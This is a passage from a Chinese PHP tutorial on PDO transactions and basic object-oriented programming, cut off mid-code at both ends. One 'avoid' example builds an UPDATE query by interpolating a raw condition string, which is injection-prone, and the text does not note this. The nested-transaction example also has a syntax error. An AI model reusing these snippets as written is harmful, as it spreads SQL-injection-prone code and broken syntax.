} catch (Exception $e) {
    echo "创建订单失败:" . $e->getMessage() . "\n";
}
?>

事务隔离级别

设置隔离级别

<?php
// 事务隔离级别(从低到高)
$levels = [
    'READ UNCOMMITTED',  // 读未提交(脏读)
    'READ COMMITTED',    // 读已提交
    'REPEATABLE READ',   // 可重复读(MySQL默认)
    'SERIALIZABLE'       // 串行化
];

// 设置隔离级别
$pdo->exec("SET TRANSACTION ISOLATION LEVEL READ COMMITTED");
$pdo->beginTransaction();

// 执行事务操作
$pdo->commit();
?>

不同隔离级别的影响

<?php
// 场景:两个事务同时操作同一数据

// 事务1:更新商品价格
function updatePrice($pdo, $productId, $newPrice) {
    $pdo->exec("SET TRANSACTION ISOLATION LEVEL READ COMMITTED");
    $pdo->beginTransaction();

    try {
        // 读取当前价格
        $stmt = $pdo->prepare("SELECT price FROM products WHERE id = ?");
        $stmt->execute([$productId]);
        $oldPrice = $stmt->fetch()['price'];

        // 模拟耗时操作
        sleep(2);

        // 更新价格
        $update = $pdo->prepare("UPDATE products SET price = ? WHERE id = ?");
        $update->execute([$newPrice, $productId]);

        echo "商品价格从 $oldPrice 更新到 $newPrice\n";
        $pdo->commit();

    } catch (Exception $e) {
        $pdo->rollback();
        echo "更新失败:" . $e->getMessage() . "\n";
    }
}

// 事务2:查询商品信息
function getProductInfo($pdo, $productId) {
    // 不开启事务,使用默认隔离级别
    $stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
    $stmt->execute([$productId]);
    return $stmt->fetch();
}
?>

事务最佳实践

1. 保持事务简短

<?php
// ✅ 好的做法:事务中只包含必要的数据库操作
function transferMoney($pdo, $from, $to, $amount) {
    $pdo->beginTransaction();
    try {
        // 核心数据库操作
        $pdo->prepare("UPDATE accounts SET balance = balance - ? WHERE id = ?")
           ->execute([$amount, $from]);
        $pdo->prepare("UPDATE accounts SET balance = balance + ? WHERE id = ?")
           ->execute([$amount, $to]);

        $pdo->commit();
    } catch (Exception $e) {
        $pdo->rollback();
        throw $e;
    }
}

// ❌ 避免:在事务中执行耗时操作
function transferMoneyWithDelay($pdo, $from, $to, $amount) {
    $pdo->beginTransaction();
    try {
        $pdo->prepare("UPDATE accounts SET balance = balance - ? WHERE id = ?")
           ->execute([$amount, $from]);

        // 不要在事务中执行耗时操作
        sleep(10);  // 不好的做法
        sendEmail(); // 不好的做法

        $pdo->prepare("UPDATE accounts SET balance = balance + ? WHERE id = ?")
           ->execute([$amount, $to]);

        $pdo->commit();
    } catch (Exception $e) {
        $pdo->rollback();
        throw $e;
    }
}
?>

2. 合理使用索引和锁

<?php
// ✅ 使用索引优化查询
function updateUserBalance($pdo, $userId, $amount) {
    $pdo->beginTransaction();
    try {
        // 使用主键索引,快速锁定记录
        $sql = "SELECT balance FROM users WHERE id = ? FOR UPDATE";
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$userId]);

        // 更新余额
        $update = $pdo->prepare("UPDATE users SET balance = ? WHERE id = ?");
        $update->execute([$amount, $userId]);

        $pdo->commit();
    } catch (Exception $e) {
        $pdo->rollback();
        throw $e;
    }
}

// ❌ 避免全表扫描
function updateUsersByCondition($pdo, $condition) {
    $pdo->beginTransaction();
    try {
        // 没有使用索引,可能锁定大量记录
        $sql = "UPDATE users SET status = 'active' WHERE $condition";
        $pdo->exec($sql);

        $pdo->commit();
    } catch (Exception $e) {
        $pdo->rollback();
        throw $e;
    }
}
?>

3. 错误处理和重试机制

<?php
class TransactionManager {
    private $pdo;
    private $maxRetries = 3;

    public function __construct($pdo) {
        $this->pdo = $pdo;
    }

    /**
     * 执行事务(带重试机制)
     */
    public function executeTransaction(callable $callback) {
        $retries = 0;

        while ($retries < $this->maxRetries) {
            try {
                $this->pdo->beginTransaction();

                $result = $callback($this->pdo);

                $this->pdo->commit();
                return $result;

            } catch (PDOException $e) {
                $this->pdo->rollback();

                // 死锁错误,可以重试
                if ($e->errorInfo[1] == 1213 && $retries < $this->maxRetries - 1) {
                    $retries++;
                    $waitTime = rand(100, 500) * 1000; // 100-500ms
                    usleep($waitTime);
                    continue;
                }

                throw $e;
            }
        }

        throw new Exception("事务执行失败,已重试{$this->maxRetries}次");
    }
}

// 使用示例
$txManager = new TransactionManager($pdo);

try {
    $result = $txManager->executeTransaction(function($pdo) {
        $pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
        $pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
        return true;
    });

    echo "转账成功!\n";
} catch (Exception $e) {
    echo "操作失败:" . $e->getMessage() . "\n";
}
?>

4. 嵌套事务(模拟)

<?php
class NestedTransaction {
    private $pdo;
    private $level = 0;

    public function __construct($pdo) {
        $this->pdo = $pdo;
    }

    public function beginTransaction() {
        if ($this->level == 0) {
            $this->pdo->beginTransaction();
        }
        $this->level++;
    }

    public function commit() {
        $this->level--;
        if ($this->level == 0) {
            $this->pdo->commit();
        }
    }

    public function rollback() {
        if ($this->level > 0) {
            $this->pdo->rollback();
            $this->level = 0;
        }
    }

    public function execute(callable $callback) {
        $this->beginTransaction();
        try {
            $result = $callback($this);
            $this->commit();
            return $result;
        } catch (Exception $e) {
            $this->rollback();
            throw $e;
        }
    }
}

// 使用示例
$nestedTx = new NestedTransaction($pdo);

// 外层事务
$nestedTx->execute(function($tx) use ($pdo) {
    echo "开始外层事务\n";

    // 内层事务1
    $tx->execute(function($tx) use ($pdo) {
        echo "执行内层事务1\n";
        $pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
    });

    // 内层事务2
    $tx->execute(function($tx) use ($pdo) {
        echo "执行内层事务2\n";
        $pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
    });

    echo "完成外层事务\n");
});
?>

事务监控和调试

记录事务日志

<?php
class TransactionLogger {
    private $pdo;
    private $logFile;

    public function __construct($pdo, $logFile = 'transaction.log') {
        $this->pdo = $pdo;
        $this->logFile = $logFile;
    }

    public function executeWithLogging(callable $callback, $description = '') {
        $startTime = microtime(true);
        $transactionId = uniqid('tx_');

        $this->log("START: $description", $transactionId);

        try {
            $this->pdo->beginTransaction();

            // 执行前记录
            $this->log("BEGIN: {$description}", $transactionId);

            $result = $callback($this->pdo);

            // 提交前记录
            $this->log("COMMIT: {$description}", $transactionId);

            $this->pdo->commit();

            // 记录执行时间
            $duration = round((microtime(true) - $startTime) * 1000, 2);
            $this->log("SUCCESS: {$description} ({$duration}ms)", $transactionId);

            return $result;

        } catch (Exception $e) {
            $this->pdo->rollback();
            $duration = round((microtime(true) - $startTime) * 1000, 2);
            $this->log("ERROR: {$description} - {$e->getMessage()} ({$duration}ms)", $transactionId);
            throw $e;
        }
    }

    private function log($message, $transactionId) {
        $timestamp = date('Y-m-d H:i:s');
        $logMessage = "[$timestamp] [$transactionId] $message\n";
        file_put_contents($this->logFile, $logMessage, FILE_APPEND);
    }
}

// 使用示例
$logger = new TransactionLogger($pdo);

$logger->executeWithLogging(function($pdo) {
    $pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
    $pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
    return true;
}, "转账操作");
?>

通过本节的学习,你应该掌握了事务处理的基本概念和实际应用。事务是保证数据一致性的重要机制,在处理关键业务逻辑时一定要合理使用事务来确保数据的完整性和一致性。

第12章:面向对象基础

面向对象编程(Object-Oriented Programming,简称OOP)是现代编程中最重要的编程范式之一。它提供了一种组织和管理代码的方式,使程序更加模块化、可维护和可扩展。PHP从PHP 5开始完全支持面向对象编程。

学习目标

完成本章学习后,你将能够:

  • 理解面向对象编程的基本概念和优势
  • 掌握类和对象的定义与使用
  • 学会创建和使用属性和方法
  • 理解封装的概念和应用
  • 掌握构造函数和析构函数的使用
  • 学会基本的继承和扩展
  • 能够使用面向对象的方式构建应用程序

什么是面向对象编程

编程范式的演进

从过程式编程到面向对象编程的转变:

<?php
// 过程式编程方式
function calculateArea($width, $height) {
    return $width * $height;
}

function calculatePerimeter($width, $height) {
    return 2 * ($width + $height);
}

// 使用过程式编程
$width = 10;
$height = 5;

$area = calculateArea($width, $height);
$perimeter = calculatePerimeter($width, $height);

echo "面积:$area, 周长:$perimeter\n";
?>
<?php
// 面向对象编程方式
class Rectangle {
    private $width;
    private $height;

    public function __construct($width, $height) {
        $this->width = $width;
        $this->height = $height;
    }

    public function getArea() {
        return $this->width * $this->height;
    }

    public function getPerimeter() {
        return 2 * ($this->width + $this->height);
    }

    public function getWidth() {
        return $this->width;
    }

    public function getHeight() {
        return $this->height;
    }
}

// 使用面向对象编程
$rectangle = new Rectangle(10, 5);
$area = $rectangle->getArea();
$perimeter = $rectangle->getPerimeter();

echo "面积:$area, 周长:$perimeter\n";
?>

面向对象的优势

  1. 模块化:将数据和操作数据的方法封装在一起
  2. 可重用性:通过类和对象实现代码重用
  3. 可维护性:代码结构清晰,易于修改和维护
  4. 可扩展性:通过继承和接口轻松扩展功能
  5. 安全性:通过访问控制保护数据安全

面向对象的基本概念

1. 对象(Object)

对象是面向对象编程的基本单位,是类的实例。对象包含:

  • 属性(Properties):对象的数据或状态
  • 方法(Methods):对象的行为或操作

2. 类(Class)

类是对象的模板或蓝图,定义了对象的属性和方法。

3. 封装(Encapsulation)

将数据和操作数据的方法捆绑在一起,隐藏内部实现细节。

4. 继承(Inheritance)

一个类可以继承另一个类的属性和方法。

5. 多态(Polymorphism)

不同对象对同一消息的不同响应。

现实世界中的面向对象概念

为了更好地理解面向对象,让我们用现实世界的例子来说明:

<?php
// 汽车类
class Car {
    // 属性:汽车的特征
    private $brand;      // 品牌
    private $model;      // 型号
    private $color;      // 颜色
    private $speed;      // 当前速度
    private $isRunning;  // 是否在运行

    // 构造方法:创建汽车时初始化
    public function __construct($brand, $model, $color) {
        $this->brand = $brand;
        $this->model = $model;
        $this->color = $color;
        $this->speed = 0;
        $this->isRunning = false;

        echo "创建了一辆 {$this->color} 的 {$this->brand} {$this->model}\n";
    }

    // 方法:汽车的行为
    public function start() {
        if (!$this->isRunning) {
            $this->isRunning = true;
            echo "汽车启动了!\n";
        } else {
            echo "汽车已经在运行中!\n";
        }
    }

    public function stop() {
        if ($this->isRunning) {
            $this->speed = 0;
            $this->isRunning = false;
            echo "汽车停止了!\n";
        } else {
            echo "汽车已经停止了!\n";
        }
    }

    public function accelerate($amount) {
        if ($this->isRunning) {
            $this->speed += $amount;
            echo "加速到 {$this->speed} km/h\n";
        } else {
            echo "请先启动汽车!\n";
        }
    }

    public function brake($amount) {
        if ($this->speed >= $amount) {
            $this->speed -= $amount;
            echo "减速到 {$this->speed} km/h\n";
        } else {
            $this->speed = 0;
            echo "汽车已经停止\n";
        }
    }

    // 获取器方法
    public function getBrand() {
        return $this->brand;
    }

    public function getModel() {
        return $this->model;
    }

    public function getColor() {
        return $this->color;
    }

    public function getSpeed() {
        return $this->speed;
    }

    public function isRunning() {
        return $this->isRunning;
    }

    // 设置器方法
    public function setColor($color) {
        $this->color = $color;
        echo "汽车颜色改为 {$color}\n";
    }

    // 获取汽车信息
    public function getInfo() {
        $status = $this->isRunning ? "运行中" : "停止";
        return "这是一辆 {$this->color} 的 {$this->brand} {$this->model},当前{$status},速度 {$this->speed} km/h";
    }
}

// 使用汽车类
echo "=== 创建和使用汽车 ===\n";

$myCar = new Car("丰田", "卡罗拉", "白色");
echo $myCar->getInfo() . "\n\n";

$myCar->start();
$myCar->accelerate(50);
$myCar->accelerate(30);
$myCar->brake(20);
$myCar->stop();

echo "\n" . $myCar->getInfo() . "\n";
?>

面向对象 vs 过程式编程对比

让我们通过一个实际的例子来对比两种编程方式:

学生管理系统 - 过程式方式

<?php
// 数据存储
$students = [];

// 添加学生函数
function addStudent(&$students, $name, $age, $grade) {
    $student = [
        'id' => count($students) + 1,
        'name' => $name,
        'age' => $age,
        'grade' => $grade
    ];

    $students[] = $student;
    return count($students);
}

// 获取学生信息函数
function getStudent($students, $id) {
    foreach ($students as $student) {
        if ($student['id'] == $id) {
            return $student;
        }
    }
    return null;
}

// 更新学生年龄函数
function updateStudentAge(&$students, $id, $newAge) {
    foreach ($students as &$student) {
        if ($student['id'] == $id) {
            $student['age'] = $newAge;
            return true;
        }
    }
    return false;
}

// 计算平均年龄函数
function calculateAverageAge($students) {
    if (empty($students)) {
        return 0;
    }

    $totalAge = 0;
    foreach ($students as $student) {
        $totalAge += $student['age'];
    }

    return $totalAge / count($students);
}

// 使用过程式方式
echo "=== 过程式编程方式 ===\n";

$studentId1 = addStudent($students, "张三", 20, "一年级");
$studentId2 = addStudent($students, "李四", 19, "一年级");
$studentId3 = addStudent($students, "王五", 21, "二年级");

updateStudentAge($students, $studentId2, 20);

$student = getStudent($students, $studentId1);
if ($student) {
    echo "学生信息:{$student['name']}, {$student['age']}岁, {$student['grade']}\n";
}

$avgAge = calculateAverageAge($students);
echo "平均年龄:" . round($avgAge, 1) . "岁\n";
?>

学生管理系统 - 面向对象方式

<?php
class Student {
    private static $nextId = 1;
    private $id;
    private $name;
    private $age;
    private $grade;
    private static $students = [];

    public function __construct($name, $age, $grade) {
        $this->id = self::$nextId++;
        $this->name = $name;
        $this->age = $age;
        $this->grade = $grade;

        self::$students[$this->id] = $this;

        echo "创建了学生:{$this->name} (ID: {$this->id})\n";
    }

    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }

    public function setName($name) {
        $this->name = $name;
    }

    public function getAge() {
        return $this->age;
    }

    public function setAge($age) {
        if ($age > 0 && $age < 150) {
            $this->age = $age;
            return true;
        }
        return false;
    }

    public function getGrade() {
        return $this->grade;
    }

    public function setGrade($grade) {
        $this->grade = $grade;
    }

    public function getInfo() {
        return "学生 {$this->name},{$this->age}岁,{$this->grade}";
    }

    // 静态方法:获取所有学生
    public static function getAllStudents() {
        return self::$students;
    }

    // 静态方法:根据ID获取学生
    public static function getById($id) {
        return self::$students[$id] ?? null;
    }

    // 静态方法:计算平均年龄
    public static function calculateAverageAge() {
        if (empty(self::$students)) {
            return 0;
        }

        $totalAge = 0;
        foreach (self::$students as $student) {
            $totalAge += $student->getAge();
        }

        return $totalAge / count(self::$students);
    }

    // 静态方法:获取学生总数
    public static function getTotalCount() {
        return count(self::$students);
    }

    // 静态方法:根据年级获取学生
    public static function getByGrade($grade) {
        $gradeStudents = [];
        foreach (self::$students as $student) {
            if ($student->getGrade() === $grade) {
                $gradeStudents[] = $student;
            }
        }
        return $gradeStudents;
    }

    // 析构方法
    public function __destruct() {
        echo "学生对象 {$this->name} 已销毁\n";
    }
}

// 使用面向对象方式
echo "\n=== 面向对象编程方式 ===\n";

$student1 = new Student("张三", 20, "一年级");
$student2 = new Student("李四", 19, "一年级");
$student3 = new Student("王五", 21, "二年级");

// 修改学生信息
$student2->setAge(20);

// 获取学生信息
$foundStudent = Student::getById(1);
if ($foundStudent) {
    echo $foundStudent->getInfo() . "\n";
}

// 计算平均年龄
$avgAge = Student::calculateAverageAge();
echo "平均年龄:" . round($avgAge, 1) . "岁\n";

echo "学生总数:" . Student::getTotalCount() . "\n";

// 获取一年级学生
$grade1Students = Student::getByGrade("一年级");
echo "一年级学生数量:" . count($grade1Students) . "\n";
?>

面向对象的设计原则

1. 单一职责原则(SRP)

一个类应该只有一个引起变化的原因。

<?php
// 好的设计:职责分离
class Logger {
    public function log($message) {
        echo "[LOG] " . date('Y-m-d H:i:s') . " - $message\n";
    }
}

class Calculator {
    public function add($a, $b) {
        return $a + $b;
    }

    public function subtract($a, $b) {
        return $a - $b;
    }
}

// 使用
$logger = new Logger();
$calculator = new Calculator();

$result = $calculator->add(10, 5);
$logger->log("计算结果:$result");
?>

2. 开闭原则(OCP)

软件实体应该对扩展开放,对修改关闭。

<?php
// 基础形状类
abstract class Shape {
    abstract public function getArea();
}

// 圆形类
class Circle extends Shape {
    private $radius;

    public function __construct($radius) {
        $this->radius = $radius;
    }

    public function getArea() {
        return pi() * $this->radius * $this->radius;
    }
}

// 矩形类
class Rectangle extends Shape {
    private $width;
    private $height;

    public function __construct($width, $height) {
        $this->width = $width;
        $this->height = $height;
    }

    public function getArea() {
        return $this->width * $this->height;
    }
}

// 形状计算器
class AreaCalculator {
    public function calculateTotalArea(array $shapes) {
        $totalArea = 0;
        foreach ($shapes as $shape) {
            $totalArea += $shape->getArea();
        }
        return $totalArea;
    }
}

// 使用
$shapes = [
    new Circle(5),
    new Rectangle(10, 20),
    new Rectangle(15, 25)
];

$calculator = new AreaCalculator();
$totalArea = $calculator->calculateTotalArea($shapes);
echo "总面积:" . round($totalArea, 2) . "\n";
?>

面向对象的实际应用

简单的用户管理系统

<?php
class User {
    private $id;
    private $username;
    private $email;
    private $passwordHash;
    private $isActive;
    private $createdAt;
    private static $users = [];

    public function __construct($username, $email, $password) {
        $this->id = uniqid();
        $this->username = $this->validateUsername($username);
        $this->email = $this->validateEmail($email);
        $this->passwordHash = $this->hashPassword($password);
        $this->isActive = true;
        $this->createdAt = date('Y-m-d H:i:s');

        self::$users[$this->id] = $this;
    }

    private function validateUsername($username) {
        if (strlen($username) < 3) {
            throw new Exception("用户名至少需要3个字符");
        }
        return $username;
    }

    private function validateEmail($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            throw new Exception("邮箱格式不正确");
        }
        return $email;
    }

    private function hashPassword($password) {
        return password_hash($password, PASSWORD_DEFAULT);
    }

    public function authenticate($password) {
        return password_verify($password, $this->passwordHash);
    }

    public function activate() {
        $this->isActive = true;
    }

    public function deactivate() {
        $this->isActive = false;
    }

    public function isActive() {
        return $this->isActive;
    }

    public function getUsername() {
        return $this->username;
    }

    public function getEmail() {
        return $this->email;
    }

    public function getCreatedAt() {
        return $this->createdAt;
    }

    public function getProfile() {
        return [
            'username' => $this->username,
            'email' => $this->email,
            'is_active' => $this->isActive,
            'created_at' => $this->createdAt
        ];
    }

    public static function getByUsername($username) {
        foreach (self::$users as $user) {
            if ($user->username === $username) {
                return $user;
            }
        }
        return null;
    }

    public static function getAll() {
        return self::$users;
    }

    public static function getActiveCount() {
        $count = 0;
        foreach (self::$users as $user) {
            if ($user->isActive()) {
                $count++;
            }
        }
        return $count;
    }
}

// 用户管理服务
class UserService {
    public function registerUser($username, $email, $password) {
        // 检查用户名是否已存在
        $existingUser = User::getByUsername($username);
        if ($existingUser) {
            throw new Exception("用户名已存在");
        }

        // 创建新用户
        $user = new User($username, $email, $password);
        return $user;
    }

    public function loginUser($username, $password) {
        $user = User::getByUsername($username);
        if (!$user) {
            throw new Exception("用户不存在");
        }

        if (!$user->authenticate($password)) {
            throw new Exception("密码错误");
        }

        if (!$user->isActive()) {
            throw new Exception("账户已被禁用");
        }

        return $user;
    }

    public function getUserProfile($username) {
        $user = User::getByUsername($username);
        if (!$user) {
            throw new Exception("用户不存在");
        }

        return $user->getProfile();
    }

    public function getAllActiveUsers() {
        $activeUsers = [];
        foreach (User::getAll() as $user) {
            if ($user->isActive()) {
                $activeUsers[] = $user->getProfile();
            }
        }
        return $activeUsers;
    }
}

// 使用示例
try {
    $userService = new UserService();

    echo "=== 用户注册 ===\n";
    $user1 = $userService->registerUser("alice", "alice@example.com", "password123");
    $user2 = $userService->registerUser("bob", "bob@example.com", "password456");

    echo "用户注册成功\n";
    echo "活跃用户数:" . User::getActiveCount() . "\n\n";

    echo "=== 用户登录 ===\n";
    $loggedInUser = $userService->loginUser("alice", "password123");
    echo "用户 {$loggedInUser->getUsername()} 登录成功\n\n";

    echo "=== 获取用户信息 ===\n";
    $profile = $userService->getUserProfile("alice");
    echo "用户信息:\n";
    print_r($profile);

    echo "\n=== 活跃用户列表 ===\n";
    $activeUsers = $userService->getAllActiveUsers();
    foreach ($activeUsers as $user) {
        echo "- {$user['username']} ({$user['email']})\n";
    }

} catch (Exception $e) {
    echo "错误:" . $e->getMessage() . "\n";
}
?>

总结

面向对象编程是一种强大的编程范式,它帮助我们构建更加模块化、可维护和可扩展的应用程序。

关键要点:

  1. 核心概念

    • 对象是类的实例,包含属性和方法
    • 类是对象的模板,定义了结构和行为
    • 封装将数据和操作捆绑在一起
    • 继承实现代码重用和扩展
    • 多态提供灵活的接口
  2. OOP的优势

    • 代码更易维护和扩展
    • 提高代码重用性
    • 增强程序的安全性
    • 更好地组织复杂项目
  3. 设计原则

    • 单一职责原则
    • 开闭原则
    • 其他SOLID原则(后续章节详细介绍)

最佳实践:

  • 将相关的数据和操作封装在同一个类中
  • 使用访问控制保护内部数据
  • 为类和方法选择有意义的名称
  • 保持类的方法简洁和专注
  • 优先使用组合而不是继承(在某些情况下)

通过本节学习,你应该对面向对象编程有了基本的理解,为后续学习更高级的OOP特性打下坚实基础。

类与对象

类和对象是面向对象编程的核心概念。类是对象的模板或蓝图,而对象是类的具体实例。理解类和对象的关系是掌握OOP编程的基础。

学习目标

完成本节学习后,你将能够:

  • 理解类和对象的概念和关系
  • 掌握类的定义语法
  • 学会创建和使用对象
  • 理解对象的内存管理
  • 掌握静态成员的使用
  • 了解类与对象的调试技巧

类的定义

基本语法

<?php
class ClassName {
    // 类的属性和方法
}

// 示例:定义一个简单的Person类
class Person {
    // 属性(成员变量)
    public $name;
    public $age;
    public $gender;

    // 方法(成员函数)
    public function introduce() {
        return "大家好,我叫{$this->name},今年{$this->age}岁。";
    }

    public function setAge($age) {
        $this->age = $age;
    }

    public function getAge() {
        return $this->age;
    }
}
?>

类的命名规范

<?php
// 好的类命名示例
class User {}
class Product {}
class DatabaseConnection {}
class EmailValidator {}

// 不推荐的命名
class user {}           // 小写开头
class product_info {}    // 使用下划线
class DBConnection {}      // 缩写不清晰

// 推荐使用大驼峰命名法(PascalCase)
class ShoppingCart {}
class UserProfile {}
class ConfigurationManager {}
?>

类的组成部分

<?php
class Student {
    // 1. 常量 - 使用 const 关键字定义
    const MAX_AGE = 120;
    const MIN_AGE = 6;
    const STATUS_ACTIVE = 'active';
    const STATUS_INACTIVE = 'inactive';

    // 2. 静态属性 - 属于类而不是对象
    private static $totalStudents = 0;
    private static $schoolName = '示例学校';

    // 3. 实例属性 - 属于每个对象实例
    private $id;
    private $name;
    private $age;
    private $grade;
    private $status = self::STATUS_ACTIVE;

    // 4. 构造方法 - 创建对象时调用
    public function __construct($name, $age, $grade) {
        $this->id = uniqid('student_');
        $this->name = $name;
        $this->age = $this->validateAge($age);
        $this->grade = $grade;

        self::$totalStudents++;
        echo "学生 {$this->name} 已创建\n";
    }

    // 5. 实例方法 - 对象的行为
    public function introduce() {
        return "我是{$this->grade}的学生{$this->name},今年{$this->age}岁。";
    }

    public function promote() {
        if ($this->grade === '六年级') {
            return "已经毕业了!";
        }

        $gradeMap = [
            '一年级' => '二年级',
            '二年级' => '三年级',
            '三年级' => '四年级',
            '四年级' => '五年级',
            '五年级' => '六年级'
        ];

        $this->grade = $gradeMap[$this->grade] ?? $this->grade;
        return "恭喜升入{$this->grade}!";
    }

    // 6. 静态方法 - 属于类而不是对象
    public static function getTotalStudents() {
        return self::$totalStudents;
    }

    public static function setSchoolName($name) {
        self::$schoolName = $name;
    }

    public static function getSchoolName() {
        return self::$schoolName;
    }

    // 7. 析构方法 - 对象销毁时调用
    public function __destruct() {
        self::$totalStudents--;
        echo "学生 {$this->name} 已注销\n";
    }

    // 8. 私有辅助方法
    private function validateAge($age) {
        if ($age < self::MIN_AGE) {
            throw new Exception("学生年龄不能小于" . self::MIN_AGE . "岁");
        }
        if ($age > self::MAX_AGE) {
            throw new Exception("学生年龄不能大于" . self::MAX_AGE . "岁");
        }
        return $age;
    }

    // Getter 方法
    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }

    public function getAge() {
        return $this->age;
    }

    public function getGrade() {
        return $this->grade;
    }

    public function getStatus() {
        return $this->status;
    }

    // Setter 方法
    public function setName($name) {
        $this->name = $name;
    }

    public function setAge($age) {
        $this->age = $this->validateAge($age);
    }

    public function setStatus($status) {
        if (in_array($status, [self::STATUS_ACTIVE, self::STATUS_INACTIVE])) {
            $this->status = $status;
        }
    }
}

// 使用示例
echo "=== 类的使用示例 ===\n";

// 设置学校名称
Student::setSchoolName("阳光小学");
echo "学校名称:" . Student::getSchoolName() . "\n";

// 创建学生对象
$student1 = new Student("张小明", 8, "二年级");
$student2 = new Student("李小红", 9, "三年级");

// 访问对象方法
echo $student1->introduce() . "\n";
echo $student2->introduce() . "\n";

// 访问对象属性
echo $student1->getName() . " 当前在 " . $student1->getGrade() . "\n";

// 调用对象方法
echo $student1->promote() . "\n";
echo "现在在 " . $student1->getGrade() . "\n";

// 访问静态方法
echo "当前学生总数:" . Student::getTotalStudents() . "\n";

// 访问常量
echo "学生年龄范围:" . Student::MIN_AGE . " - " . Student::MAX_AGE . "岁\n";
?>

对象的创建和使用

创建对象

<?php
// 使用 new 关键字创建对象
$student = new Student("王大伟", 10, "四年级");

// 创建对象的其他方式
$className = 'Student';
$student2 = new $className("刘小美", 7, "一年级");

// 从变量创建对象
$studentData = [
    'name' => '陈志强',
    'age' => 11,
    'grade' => '五年级'
];
$student3 = new Student($studentData['name'], $studentData['age'], $studentData['grade']);

// 检查对象是否为某类的实例
if ($student instanceof Student) {
    echo "\$student 是 Student 类的实例\n";
}

// 使用类常量
echo "学生状态:" . Student::STATUS_ACTIVE . "\n";
?>

对象的属性访问

<?php
class Product {
    // 公共属性
    public $name;
    public $price;

    // 受保护的属性
    protected $category;

    // 私有属性
    private $stock;

    public function __construct($name, $price, $category, $stock) {
        $this->name = $name;
        $this->price = $price;
        $this->category = $category;
        $this->stock = $stock;
    }

    // Getter 方法
    public function getCategory() {
        return $this->category;
    }

    public function getStock() {
        return $this->stock;
    }

    // Setter 方法
    public function setStock($stock) {
        if ($stock >= 0) {
            $this->stock = $stock;
            return true;
        }
        return false;
    }

    // 公共方法
    public function getInfo() {
        return "产品:{$this->name},价格:¥{$this->price},库存:{$this->stock}";
    }

    // 受保护的方法
    protected function calculateDiscount() {
        if ($this->stock > 100) {
            return 0.1; // 10% 折扣
        } elseif ($this->stock > 50) {
            return 0.05; // 5% 折扣
        }
        return 0;
    }

    // 公共方法调用受保护方法
    public function getDiscountedPrice() {
        $discount = $this->calculateDiscount();
        return $this->price * (1 - $discount);
    }
}

// 使用示例
echo "=== 属性访问示例 ===\n";

$product = new Product("笔记本电脑", 5999.00, "电子产品", 50);

// 访问公共属性
echo "产品名称:" . $product->name . "\n";
echo "产品价格:" . $product->price . "\n";

// 通过getter访问私有/受保护属性
echo "产品类别:" . $product->getCategory() . "\n";
echo "产品库存:" . $product->getStock() . "\n";

// 通过setter修改属性
$product->setStock(120);
echo "修改后库存:" . $product->getStock() . "\n";

// 调用方法
echo "产品信息:" . $product->getInfo() . "\n";
echo "折扣价格:" . $product->getDiscountedPrice() . "\n";
?>

对象的比较

<?php
class User {
    public $id;
    public $name;

    public function __construct($id, $name) {
        $this->id = $id;
        $this->name = $name;
    }

    public function equals($otherUser) {
        if ($otherUser instanceof User) {
            return $this->id === $otherUser->id && $this->name === $otherUser->name;
        }
        return false;
    }

    public function __toString() {
        return "User[id={$this->id}, name={$this->name}]";
    }
}

// 使用示例
echo "=== 对象比较示例 ===\n";

$user1 = new User(1, "张三");
$user2 = new User(1, "张三");
$user3 = new User(2, "李四");

// 对象同一性比较(===)- 比较的是对象是否为同一个实例
echo "user1 === user2: " . ($user1 === $user2 ? "true" : "false") . "\n";

// 对象相等性比较(==)- 比较的是属性值是否相同
echo "user1 == user2: " . ($user1 == $user2 ? "true" : "false") . "\n";
echo "user1 == user3: " . ($user1 == $user3 ? "true" : "false") . "\n";

// 自定义比较方法
echo "user1 equals user2: " . ($user1->equals($user2) ? "true" : "false") . "\n";
echo "user1 equals user3: " . ($user1->equals($user3) ? "true" : "false") . "\n";

// 对象字符串表示
echo "user1: " . $user1 . "\n";
echo "user2: " . $user2 . "\n";
echo "user3: " . $user3 . "\n";
?>

静态成员

静态属性

<?php
class Counter {
    private static $count = 0;
    private static $instances = [];

    private $id;
    private $name;

    public function __construct($name) {
        $this->id = ++self::$count;
        $this->name = $name;
        self::$instances[$this->id] = $this;
    }

    public static function getCount() {
        return self::$count;
    }

    public static function getInstances() {
        return self::$instances;
    }

    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }

    public static function reset() {
        self::$count = 0;
        self::$instances = [];
    }

    public function __toString() {
        return "Counter #{$this->id}: {$this->name}";
    }
}

// 使用示例
echo "=== 静态成员示例 ===\n";

// 创建多个Counter对象
$counter1 = new Counter("计数器A");
$counter2 = new Counter("计数器B");
$counter3 = new Counter("计数器C");

// 访问静态方法
echo "当前计数器数量:" . Counter::getCount() . "\n";

// 访问静态属性
$instances = Counter::getInstances();
foreach ($instances as $instance) {
    echo $instance . "\n";
}

// 注意:不能这样访问静态属性
// echo Counter::$count; // 错误:私有静态属性
?>

静态方法

<?php
class MathUtils {
    // 静态常量
    const PI = 3.14159265359;
    const E = 2.71828182846;

    // 静态方法 - 不需要创建对象实例就可以调用
    public static function add($a, $b) {
        return $a + $b;
    }

    public static function subtract($a, $b) {
        return $a - $b;
    }

    public static function multiply($a, $b) {
        return $a * $b;
    }

    public static function divide($a, $b) {
        if ($b == 0) {
            throw new InvalidArgumentException("除数不能为零");
        }
        return $a / $b;
    }

    public static function power($base, $exponent) {
        return pow($base, $exponent);
    }

    // 静态方法调用其他静态方法
    public static function quadraticEquation($a, $b, $c) {
        if ($a == 0) {
            throw new InvalidArgumentException("二次项系数不能为零");
        }

        $discriminant = self::power($b, 2) - 4 * $a * $c;

        if ($discriminant < 0) {
            return null; // 无实数解
        }

        $sqrtDiscriminant = sqrt($discriminant);
        $x1 = self::subtract(-$b, $sqrtDiscriminant) / (2 * $a);
        $x2 = self::add(-$b, $sqrtDiscriminant) / (2 * $a);

        return [$x1, $x2];
    }

    // 静态工厂方法
    public static function createCalculator() {
        return new class {
